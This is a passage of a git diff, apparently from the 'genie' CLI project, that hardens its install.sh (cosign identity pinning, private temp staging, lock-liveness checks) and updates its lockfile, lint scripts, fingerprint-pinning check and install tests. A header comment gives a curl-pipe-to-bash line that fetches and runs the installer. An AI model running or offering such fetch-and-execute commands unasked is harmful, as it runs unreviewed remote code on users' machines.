"^1.1.0", "socks-proxy-agent": "^8.0.5" } }, "sha512-TmatMXdr2KlRiA2CyDu8GqR8EjahTG3aY3nXjdzFyoZbmB8hrBsTyMezhULIXKnC0jpfjlmiZ3+EaCzoInSu/A=="], + + "proxy-from-env": ["proxy-from-env@1.1.0", "", {}, "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="], + + "punycode.js": ["punycode.js@2.3.1", "", {}, "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA=="], + "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="], "require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="], @@ -393,12 +613,24 @@ "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + "sax": ["sax@1.6.0", "", {}, "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA=="], + "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], "signal-exit": ["signal-exit@4.1.0", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="], + "slash": ["slash@5.1.0", "", {}, "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg=="], + + "smart-buffer": ["smart-buffer@4.2.0", "", {}, "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg=="], + "smol-toml": ["smol-toml@1.6.0", "", {}, "sha512-4zemZi0HvTnYwLfrpk/CF9LOd9Lt87kAt50GnqhMpyF9U3poDAP2+iukq2bZsO/ufegbYehBkqINbsWxj4l4cw=="], + "socks": ["socks@2.8.9", "", { "dependencies": { "ip-address": "^10.1.1", "smart-buffer": "^4.2.0" } }, "sha512-LJhUYUvItdQ0LkJTmPeaEObWXAqFyfmP85x0tch/ez9cahmhlBBLbIqDFnvBnUJGagb0JbIQrkBs1wJ+yRYpEw=="], + + "socks-proxy-agent": ["socks-proxy-agent@8.0.5", "", { "dependencies": { "agent-base": "^7.1.2", "debug": "^4.3.4", "socks": "^2.8.3" } }, "sha512-HehCEsotFqbPW9sJ8WVYB6UbmIMv7kUUORIF2Nncq4VQvBfNBLibW9YZR5dlYCSUhwcD628pRllm7n+E+YTzJw=="], + + "source-map": ["source-map@0.6.1", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="], + "split2": ["split2@4.2.0", "", {}, "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg=="], "string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], @@ -417,14 +649,28 @@ "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], + "uc.micro": ["uc.micro@2.1.0", "", {}, "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A=="], + "unbash": ["unbash@2.2.0", "", {}, "sha512-X2wH19RAPZE3+ldGicOkoj/SIA83OIxcJ6Cuaw23hf8Xc6fQpvZXY0SftE2JgS0QhYLUG4uwodSI3R53keyh7w=="], + "undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="], + "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "unicorn-magic": ["unicorn-magic@0.4.0", "", {}, "sha512-wH590V9VNgYH9g3lH9wWjTrUoKsjLF6sGLjhR4sH1LWpLmCOH0Zf7PukhDA8BiS7KHe4oPNkcTHqYkj7SOGUOw=="], + + "validator": ["validator@13.15.35", "", {}, "sha512-TQ5pAGhd5whStmqWvYF4OjQROlmv9SMFVt37qoCBdqRffuuklWYQlCNnEs2ZaIBD1kZRNnikiZOS1eqgkar0iw=="], + "walk-up-path": ["walk-up-path@4.0.0", "", {}, "sha512-3hu+tD8YzSLGuFYtPRb48vdhKMi0KQV5sn+uWr8+7dMEq/2G/dtLrdDinkLjqq5TIbIBjYJ4Ax/n3YiaW7QM8A=="], + "whatwg-encoding": ["whatwg-encoding@3.1.1", "", { "dependencies": { "iconv-lite": "0.6.3" } }, "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ=="], + + "whatwg-mimetype": ["whatwg-mimetype@4.0.0", "", {}, "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg=="], + "wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + "xmlbuilder2": ["xmlbuilder2@4.0.3", "", { "dependencies": { "@oozcitak/dom": "^2.0.2", "@oozcitak/infra": "^2.0.2", "@oozcitak/util": "^10.0.0", "js-yaml": "^4.1.1" } }, "sha512-bx8Q1STctnNaaDymWnkfQLKofs0mGNN7rLLapJlGuV3VlvegD7Ls4ggMjE3aUSWItCCzU0PEv45lI87iSigiCA=="], + "y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="], "yaml": ["yaml@2.8.2", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A=="], @@ -439,12 +685,34 @@ "@inquirer/core/wrap-ansi": ["wrap-ansi@6.2.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA=="], + "@inquirer/external-editor/iconv-lite": ["iconv-lite@0.7.2", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], + "conventional-commits-parser/meow": ["meow@13.2.0", "", {}, "sha512-pxQJQzB6djGPXh08dacEloMFopsOqGVRKFPYvPOt9XDZ1HasbgDZA74CJGreSU4G3Ak7EFJGoiH2auq+yXISgA=="], + "cosmiconfig/js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], + + "htmlparser2/entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="], + "import-fresh/resolve-from": ["resolve-from@4.0.0", "", {}, "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="], + "katex/commander": ["commander@8.3.0", "", {}, "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="], + "knip/zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + "markdown-link-check/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="], + + "markdownlint/string-width": ["string-width@8.2.1", "", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-IIaP0g3iy9Cyy18w3M9YcaDudujEAVHKt3a3QJg1+sr/oX96TbaGUubG0hJyCjCBThFH+tFpcIyoUHUn1ogaLA=="], + + "markdownlint-cli2/smol-toml": ["smol-toml@1.7.0", "", {}, "sha512-aqVvWoyO21L23mb+drl4RmMXbf6N7FdHjAhTRA9ZBL7apWBgfWC16KjrASI+1p9GAroljyMHj6fK67i0UiTNvQ=="], + "micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + + "parse5/entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], + + "xmlbuilder2/js-yaml": ["js-yaml@4.1.1", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA=="], + + "markdownlint/string-width/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + + "markdownlint/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], } } diff --git a/install.sh b/install.sh index 7d28f6511..4b5e18e70 100755 --- a/install.sh +++ b/install.sh @@ -6,8 +6,9 @@ # # Trust anchor (cosign keyless OIDC). Verification pins the certificate # identity + OIDC issuer — there is no long-lived public key to pin. -# cert-identity: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ -# issuer: https://token.actions.githubusercontent.com +# certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ +# certificate-oidc-issuer: https://token.actions.githubusercontent.com +# provenance source-uri: github.com/automagik-dev/genie # # Default flow (gh attestation verify, falls back to cosign verify-blob): # curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash @@ -25,26 +26,27 @@ REPO="automagik-dev/genie" # `GENIE_CHANNEL=dev curl ... | bash` reads .well-known/dev.json. See wish # release-channel-dev (2026-05-11) for the producer-side wiring. MANIFEST_BASE="https://raw.githubusercontent.com/${REPO}/main/.well-known" -EXPECTED_COSIGN_IDENTITY="^https://github.com/${REPO}/.github/workflows/sign-attest.yml@" +EXPECTED_COSIGN_IDENTITY="^https://github\\.com/${REPO}/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" EXPECTED_COSIGN_ISSUER="https://token.actions.githubusercontent.com" COSIGN_VERSION="v2.4.1" GENIE_HOME="${GENIE_HOME:-$HOME/.genie}" LOCAL_BIN="$HOME/.local/bin" -TMP_DIR="$(mktemp -d -t genie-install-XXXXXX)" +TMP_DIR="$(umask 077; mktemp -d -t genie-install-XXXXXX)" COSIGN_BIN="" COSIGN_BOOTSTRAPPED=0 LIFECYCLE_LOCK="" LIFECYCLE_OWNER_FILE="" LIFECYCLE_OWNER_RECORD="" LIFECYCLE_LOCK_STALE_SECONDS=600 -# Set while a transactional extract is in flight so the EXIT trap disposes of a -# half-populated staging tree without ever touching the live install (F31a). +# Set while extraction is in flight. This is private disposable source input; +# durable recovery authority lives only in the promoter's internal transaction. STAGING_DIR="" cleanup() { + local status=$? release_lifecycle_lock - [[ -n "$STAGING_DIR" ]] && rm -rf "$STAGING_DIR" rm -rf "$TMP_DIR" + return "$status" } trap cleanup EXIT @@ -69,6 +71,38 @@ sha256_text() { fi } +portable_stat_fields() { + if stat -f '%Lp %u %l' "$1" >/dev/null 2>&1; then + stat -f '%Lp %u %l' "$1" + else + stat -c '%a %u %h' "$1" + fi +} + +validate_private_temp_root() { + local path="$1" parent fields mode owner links mode_value uid + parent="$(dirname "$path")" + [[ -d "$path" && ! -L "$path" && -d "$parent" && ! -L "$parent" ]] || + die "installer temp boundary is not physical" 1 + fields="$(portable_stat_fields "$path")" || die "could not inspect installer temp directory" 1 + read -r mode owner links <<<"$fields" + uid="$(id -u)" + [[ "$mode" == "700" && "$owner" == "$uid" && "$links" -ge 1 ]] || + die "installer temp directory is not current-user-owned mode 0700" 1 + fields="$(portable_stat_fields "$parent")" || die "could not inspect installer temp parent" 1 + read -r mode owner links <<<"$fields" + mode_value=$((8#$mode)) + if [[ $((mode_value & 8#022)) -eq 0 ]]; then + return + fi + if [[ "$owner" == "0" && $((mode_value & 8#1000)) -ne 0 ]]; then + return + fi + die "installer temp parent permits unsafe cross-principal replacement" 1 +} + +validate_private_temp_root "$TMP_DIR" + # Resolve like Node's path.resolve without creating or dereferencing GENIE_HOME. # The parent must already exist so a losing installer cannot mutate protected # scope merely while trying to acquire the shared lifecycle lease. @@ -111,6 +145,23 @@ lock_mtime_seconds() { fi } +# Return success when a numeric PID is confirmed live OR process inspection is +# unavailable. Only ps's ordinary "no such process" status (1) proves death; +# command denial/missing ps/internal errors are unknown and therefore fail +# closed as live, matching TypeScript's EPERM/unknown-identity rule. +pid_is_live_or_unknown() { + local pid="$1" output status + if output="$(ps -p "$pid" -o pid= 2>&1)"; then + return 0 + else + status=$? + fi + # Status 1 with no diagnostic is the portable `ps -p` no-match outcome. + # Any output or different status means inspection itself was unavailable. + [[ "$status" -eq 1 && -z "$output" ]] && return 1 + return 0 +} + lock_record_is_stale() { local path="$1" expected_record="$2" current_record mtime now age pid [[ -f "$path" && ! -L "$path" ]] || return 1 @@ -128,7 +179,7 @@ lock_record_is_stale() { # lockHasLiveOwner enforces in src/lib/agent-sync.ts. An empty or unparseable # record has no live pid to pin it, so it is a dead owner recoverable once # aged — the same debris TS lockOwner maps to null. - if [[ "$pid" =~ ^[0-9]+$ ]] && ps -p "$pid" >/dev/null 2>&1; then return 1; fi + if [[ "$pid" =~ ^[0-9]+$ ]] && pid_is_live_or_unknown "$pid"; then return 1; fi mtime="$(lock_mtime_seconds "$path" 2>/dev/null)" || return 1 now="$(date +%s)" age=$((now - mtime)) @@ -155,7 +206,7 @@ foreign_lock_record_is_stale() { esac # A parseable, live pid pins the guard as owned regardless of age; an empty or # unparseable pid falls through as a dead owner subject only to the mtime gate. - if [[ "$pid" =~ ^[0-9]+$ ]] && ps -p "$pid" >/dev/null 2>&1; then return 1; fi + if [[ "$pid" =~ ^[0-9]+$ ]] && pid_is_live_or_unknown "$pid"; then return 1; fi mtime="$(lock_mtime_seconds "$path" 2>/dev/null)" || return 1 now="$(date +%s)" age=$((now - mtime)) @@ -458,9 +509,8 @@ download_and_verify() { verify_staged_binary() { local staging="$1" expected_version="$2" staged_bin actual_version expected_token actual_token staged_bin="${staging}/genie" - [[ -f "$staged_bin" && ! -L "$staged_bin" ]] || - die "staged tarball has no genie binary; refusing to promote a corrupt artifact" 4 - chmod +x "$staged_bin" + [[ -f "$staged_bin" && ! -L "$staged_bin" && -x "$staged_bin" ]] || + die "staged tarball has no physical executable genie binary; refusing to promote a corrupt artifact" 4 actual_version="$("$staged_bin" --version 2>/dev/null)" || die "staged genie binary failed to execute; refusing to promote a corrupt artifact" 4 expected_token="$(parse_version_token "$expected_version")" || @@ -471,102 +521,54 @@ verify_staged_binary() { die "staged genie version mismatch (expected ${expected_token}, got ${actual_token}); refusing to promote" 4 } -# Post-swap correctness guard: run the live binary and confirm it reports the -# version we intended to install. Returns non-zero (never dies) so the caller -# can roll back before failing. -verify_promoted_binary() { - local expected_version="$1" actual expected_token actual_token - actual="$("${GENIE_HOME}/bin/genie" --version 2>/dev/null)" || return 1 - expected_token="$(parse_version_token "$expected_version")" || return 1 - actual_token="$(parse_version_token "$actual")" || return 1 - [[ "$actual_token" == "$expected_token" ]] -} - -# Restore the newest backup from bin/.previous over the live binary. Used only -# when a promoted binary fails its post-swap verification. -rollback_binary() { - local previous_dir="${GENIE_HOME}/bin/.previous" newest - [[ -d "$previous_dir" ]] || return 1 - newest="$(ls -1t "$previous_dir"/genie-* 2>/dev/null | head -n1)" - [[ -n "$newest" && -f "$newest" ]] || return 1 - cp -p "$newest" "${GENIE_HOME}/bin/genie.rollback.$$" && - mv -f "${GENIE_HOME}/bin/genie.rollback.$$" "${GENIE_HOME}/bin/genie" && - chmod +x "${GENIE_HOME}/bin/genie" -} - -# Promote a verified staging tree over the live install. The single -# rename-over-live of the `genie` binary is the atomic commit: the old -# executable is runnable up to that instant, the new one immediately after, and -# a crash mid-rename can never yield a partial file. Sidecars (VERSION, plugins, -# skills, templates, marketplaces) are moved into place first so the freshly -# promoted binary reads its own VERSION during verification; the old binary is -# backed up to bin/.previous so a failed post-swap verification rolls back. -promote_staged_install() { - local staging="$1" expected_version="$2" - local bin="$GENIE_HOME/bin" previous_dir="${GENIE_HOME}/bin/.previous" - local staged_bin="${staging}/genie" old_version backup entry base - mkdir -p "$previous_dir" - - # Capture the currently-installed version BEFORE any sidecar (incl. VERSION) - # moves, so the backup filename reflects the binary actually being replaced. - if [[ -f "${bin}/genie" && ! -L "${bin}/genie" ]]; then - old_version="$(parse_version_token "$("${bin}/genie" --version 2>/dev/null || true)" 2>/dev/null || true)" - [[ -n "$old_version" ]] || old_version="previous" - backup="${previous_dir}/genie-${old_version}" - cp -p "${bin}/genie" "${backup}.staging.$$" && - mv -f "${backup}.staging.$$" "$backup" || - die "could not back up the current binary before promotion; leaving install untouched" 1 - fi - - # Move every sidecar (all tarball entries except the binary itself) into the - # live install. `find` covers dotfiles (.agents, .claude-plugin). - while IFS= read -r entry; do - base="$(basename "$entry")" - [[ "$base" == "genie" ]] && continue - rm -rf "${bin:?}/${base}" - mv "$entry" "${bin}/${base}" - done < <(find "$staging" -mindepth 1 -maxdepth 1) - - # Destructive-failure injection seam (tests only, F31a). Simulates a kill - # between backup and the atomic rename; the live binary must stay runnable. - if [[ "${GENIE_INSTALL_SWAP_FAULT:-}" == "before-promote" ]]; then - die "swap fault injected before promotion (test seam)" 1 - fi - - chmod +x "$staged_bin" - mv -f "$staged_bin" "${bin}/genie" || - die "atomic binary promotion failed; previous install left intact" 1 - chmod +x "${bin}/genie" - - if ! verify_promoted_binary "$expected_version"; then - if rollback_binary; then - die "post-swap verification failed; rolled back to the previous binary" 4 - fi - die "post-swap verification failed and no rollback candidate was available" 4 +# Transactional install (F31a). The shell performs no live-path swap, +# rollback, backup, chmod, canonical-link replacement, or staging cleanup. +# Mutation authority is the already verified staged executable, which borrows +# this shell's exact lifecycle lease and uses native durable no-clobber renames. +ensure_physical_install_directory() { + local path="$1" parent + parent="$(dirname "$path")" + [[ -d "$parent" && ! -L "$parent" ]] || + die "install directory parent is not physical: $parent" 1 + if [[ -e "$path" || -L "$path" ]]; then + [[ -d "$path" && ! -L "$path" ]] || + die "install path is not a physical directory: $path" 1 + return fi + (umask 077; mkdir "$path") || + die "could not create physical install directory: $path" 1 + [[ -d "$path" && ! -L "$path" ]] || + die "new install directory was replaced before validation: $path" 1 } -# Transactional install (F31a). Extract to a same-filesystem staging tree, -# verify it, atomically promote it (with rollback), then point $PATH at it. A -# corrupt tarball or an interrupted swap never leaves a half-written binary at -# $GENIE_HOME/bin/genie. extract_and_link() { local tarball="$1" expected_version="$2" bin="$GENIE_HOME/bin" - mkdir -p "$bin" "$LOCAL_BIN" - STAGING_DIR="$(mktemp -d "${bin}/.install-staging-XXXXXX")" || - die "could not create staging directory under ${bin}" 1 - log "extracting to staging ${STAGING_DIR##*/}" + ensure_physical_install_directory "$GENIE_HOME" + ensure_physical_install_directory "$bin" + STAGING_DIR="${TMP_DIR}/release-payload" + (umask 077; mkdir "$STAGING_DIR") || + die "could not create private external release staging" 1 + [[ -d "$STAGING_DIR" && ! -L "$STAGING_DIR" ]] || + die "install staging path is not a physical directory: $STAGING_DIR" 1 + validate_private_temp_root "$STAGING_DIR" + log "extracting verified release in private temporary staging" tar -xzf "$tarball" -C "$STAGING_DIR" || die "extraction failed (corrupt tarball?): ${tarball}" 5 verify_staged_binary "$STAGING_DIR" "$expected_version" - promote_staged_install "$STAGING_DIR" "$expected_version" - ln -sfn "$bin/genie" "$LOCAL_BIN/genie" - log "symlink: $LOCAL_BIN/genie → $bin/genie" - rm -rf "$STAGING_DIR" + [[ -n "$LIFECYCLE_LOCK" && -n "$LIFECYCLE_OWNER_RECORD" ]] || + die "lifecycle lease was lost before transactional promotion" 1 + if ! GENIE_LIFECYCLE_LEASE_PATH="$LIFECYCLE_LOCK" \ + GENIE_LIFECYCLE_LEASE_OWNER="$LIFECYCLE_OWNER_RECORD" \ + "$STAGING_DIR/genie" __install-promote \ + --staging-root "$STAGING_DIR" \ + --expected-version "$expected_version"; then + die "verified staged promoter could not complete the install transaction; retained artifacts are retryable" 1 + fi STAGING_DIR="" + log "canonical link: $LOCAL_BIN/genie → $bin/genie" } -# Detect pre-cutover (bun-global / npm-global) installs and surface the +# Detect pre-cutover# Detect pre-cutover (bun-global / npm-global) installs and surface the # exact uninstall command. install.sh writes the new binary at # ${GENIE_HOME}/bin/genie + a symlink at ${LOCAL_BIN}/genie, but if the # legacy bin directory ranks ahead of ${LOCAL_BIN} on PATH the shell @@ -707,7 +709,7 @@ verify_installation() { } main() { - need curl; need tar; need uname + need curl; need tar; need uname; need link local platform channel payload version tarball_base tarball platform="$(detect_platform)" channel="$(resolve_channel)" diff --git a/package.json b/package.json index d46825701..41474f679 100644 --- a/package.json +++ b/package.json @@ -18,6 +18,8 @@ "build-and-sync": "npm run build:plugin && npm run sync", "lint": "biome check .", "lint:fix": "biome check --write .", + "lint:docs-links": "markdown-link-check --config .github/markdown-link-check.json SECURITY.md && markdown-link-check --config .github/markdown-link-check.json docs/incident-response/canisterworm.mdx", + "lint:docs-markdown": "markdownlint-cli2 SECURITY.md docs/incident-response/canisterworm.mdx", "format": "biome format --write .", "test": "bun test", "typecheck": "tsc --noEmit", @@ -52,6 +54,8 @@ "esbuild": "^0.27.3", "husky": "^9.1.7", "knip": "^5.86.0", + "markdown-link-check": "3.14.2", + "markdownlint-cli2": "0.23.0", "typescript": "^5.8.0" }, "repository": { diff --git a/scripts/check-fingerprint-pinning.sh b/scripts/check-fingerprint-pinning.sh index 6e9325799..faf334f19 100755 --- a/scripts/check-fingerprint-pinning.sh +++ b/scripts/check-fingerprint-pinning.sh @@ -15,7 +15,7 @@ # 3. .github/ISSUE_TEMPLATE/signing-key-fingerprint.md out-of-band tmpl # 4. .github/cosign.pub NO-KEY sentinel # 5. scripts/verify-release.sh shipped verifier -# 6. src/term-commands/sec.ts in-binary const +# 6. install.sh shipped verifier # # The script greps each witness for three verbatim lines. Prefix characters # (`- `, `# `, ``` ` ```) are tolerated because grep uses substring matching; @@ -25,7 +25,7 @@ # candidate match so operators can locate drift quickly. # # Exit codes: -# 0 — all four witnesses agree +# 0 — all required witnesses agree # 1 — drift detected (one or more witnesses missing or divergent) # 2 — misuse / missing witness file / run outside a git repo # @@ -50,7 +50,7 @@ cd "${REPO_ROOT}" # and update this constant list in the same two-officer PR that updates the # witnesses. CANONICAL=( - "certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@" + "certificate-identity-regexp: ^https://github\\.com/automagik-dev/genie/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" "certificate-oidc-issuer: https://token.actions.githubusercontent.com" "provenance source-uri: github.com/automagik-dev/genie" ) @@ -61,7 +61,7 @@ WITNESSES=( ".github/ISSUE_TEMPLATE/signing-key-fingerprint.md" ".github/cosign.pub" "scripts/verify-release.sh" - "src/term-commands/sec.ts" + "install.sh" ) # Optional witnesses: warn-if-absent now, will become required once they @@ -74,7 +74,7 @@ WITNESSES=( # CANONICAL line so operators reading the # bootstrap script before piping to bash # can cross-check the trust anchor against -# the other four witnesses. +# the other required witnesses. OPTIONAL_WITNESSES=( "scripts/installer/install.sh" ) diff --git a/scripts/install-swap.test.ts b/scripts/install-swap.test.ts index ce28a5c97..e1237e947 100644 --- a/scripts/install-swap.test.ts +++ b/scripts/install-swap.test.ts @@ -1,6 +1,18 @@ import { afterEach, describe, expect, test } from 'bun:test'; import { createHash } from 'node:crypto'; -import { chmodSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; +import { + chmodSync, + existsSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + readlinkSync, + rmSync, + symlinkSync, + writeFileSync, +} from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; @@ -11,6 +23,7 @@ import { join } from 'node:path'; // needs same-filesystem rename primitives, so nothing is mocked. const INSTALL_SH = join(import.meta.dir, '..', 'install.sh'); +const INSTALL_PROMOTER = join(import.meta.dir, '..', 'src', 'genie-commands', 'install-promote.ts'); const roots: string[] = []; afterEach(() => { @@ -23,24 +36,48 @@ function mkroot(): string { return root; } -/** A fake `genie` that ignores args and prints a version — stands in for the - * real bun-compiled binary so the swap mechanics can be exercised hermetically. */ -function fakeBinary(version: string): string { - return `#!/bin/sh\necho "${version}"\n`; +/** Release-shaped executable fixture. The hidden command dispatches into the + * real promoter module while binding runtime authority to this exact script. */ +function fakeBinary(version: string, driver: string): string { + return `#!/bin/sh +if [ "$1" = "--version" ]; then echo "${version}"; exit 0; fi +if [ "$1" = "__install-promote" ]; then + shift + GENIE_TEST_STAGED_BINARY="$0" GENIE_TEST_VERSION="${version}" exec ${JSON.stringify(process.execPath)} ${JSON.stringify(driver)} "$@" +fi +echo "${version}" +`; } -/** Build a release-shaped tarball: `genie` at the root plus VERSION + a sidecar - * tree, matching scripts/build-binary.sh's layout. */ +/** Build the exact eight-member release payload consumed by the promoter. */ function buildTarball(root: string, opts: { version: string; withBinary?: boolean; sidecar?: string }): string { const tree = mkdtempSync(join(root, 'tree-')); + const driver = join(root, 'promoter-driver.ts'); + writeFileSync( + driver, + [ + `import { installPromoteCommand } from ${JSON.stringify(INSTALL_PROMOTER)};`, + 'const args = process.argv.slice(2);', + 'const value = (name: string) => { const index = args.indexOf(name); return index < 0 ? undefined : args[index + 1]; };', + "installPromoteCommand({ stagingRoot: value('--staging-root'), expectedVersion: value('--expected-version') }, {", + ' runtimeExecutable: process.env.GENIE_TEST_STAGED_BINARY,', + ' runtimeVersion: process.env.GENIE_TEST_VERSION,', + ' userHome: process.env.HOME,', + '});', + '', + ].join('\n'), + ); if (opts.withBinary !== false) { const bin = join(tree, 'genie'); - writeFileSync(bin, fakeBinary(opts.version)); + writeFileSync(bin, fakeBinary(opts.version, driver)); chmodSync(bin, 0o755); } writeFileSync(join(tree, 'VERSION'), `${opts.version}\n`); - mkdirSync(join(tree, 'plugins'), { recursive: true }); - writeFileSync(join(tree, 'plugins', opts.sidecar ?? 'marker.txt'), 'sidecar'); + writeFileSync(join(tree, 